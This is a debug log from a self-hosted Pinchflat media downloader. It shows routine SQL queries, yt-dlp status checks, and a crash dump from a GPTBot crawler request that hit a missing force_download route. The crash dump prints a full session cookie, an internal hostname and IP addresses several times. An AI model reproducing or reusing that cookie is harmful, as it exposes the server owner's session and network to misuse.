m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [87] 22:23:30.528 [info] {"args":{"id":89},"id":88,"meta":{},"system_time":1774664610528649882,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:23:30.529 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89] 22:23:30.529 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:23:30.529 [debug] QUERY OK source="tasks" db=0.3ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:23:30.529 [debug] QUERY OK source="tasks" db=0.4ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:23:30.529 [debug] QUERY OK source="sources" db=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:30.529 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [87, 89] 22:23:30.529 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:30.529 [debug] QUERY OK source="media_items" db=0.2ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [87, 89] 22:23:30.529 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89] 22:23:30.530 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89] 22:23:30.530 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:30.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:30.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:30.530 [debug] Running yt-dlp command for action: get_downloadable_status 22:23:30.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:30.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:30.530 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:30.530 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/a4/dea415614d6898071e06ae21241929a06fd5251cb8f9c3f5189d77df9440734d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:23:32.071 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:23:32.072 [debug] QUERY OK source="media_items" db=0.2ms idle=52.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:32.072 [debug] QUERY OK source="media_items" db=0.2ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 22:23:32.072 [debug] QUERY OK source="sources" db=0.0ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:32.072 [debug] Replied in 1ms 22:23:32.317 [info] GET /sources/1/media/212/force_download 22:23:32.317 [debug] QUERY OK source="settings" db=0.1ms idle=255.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.318 [debug] QUERY OK source="settings" db=0.0ms idle=255.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.318 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:23:32.318 [error] #PID<0.4739.0> running PinchflatWeb.Endpoint (connection #PID<0.4738.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/212/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/212/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/212/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/212", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4739.0>, params: %{}, path_info: ["sources", "1", "media", "212", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/212"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/212/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgD_SkvUPLysgAATWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/212/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/212", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/212/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/212/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44282}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/212", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:23:32.329 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:23:32.329 [debug] QUERY OK source="media_items" db=0.2ms idle=257.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:32.330 [debug] QUERY OK source="media_items" db=0.3ms idle=257.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 22:23:32.330 [debug] QUERY OK source="sources" db=0.0ms idle=257.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:32.330 [debug] Replied in 1ms 22:23:32.715 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:23:32.716 [debug] QUERY OK source="media_items" db=0.8ms idle=398.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:23:32.718 [debug] QUERY OK source="media_items" db=1.4ms idle=399.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:23:32.720 [debug] QUERY OK source="sources" db=0.5ms idle=389.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:32.720 [debug] Replied in 4ms 22:23:32.943 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/a4/dea415614d6898071e06ae21241929a06fd5251cb8f9c3f5189d77df9440734d.json 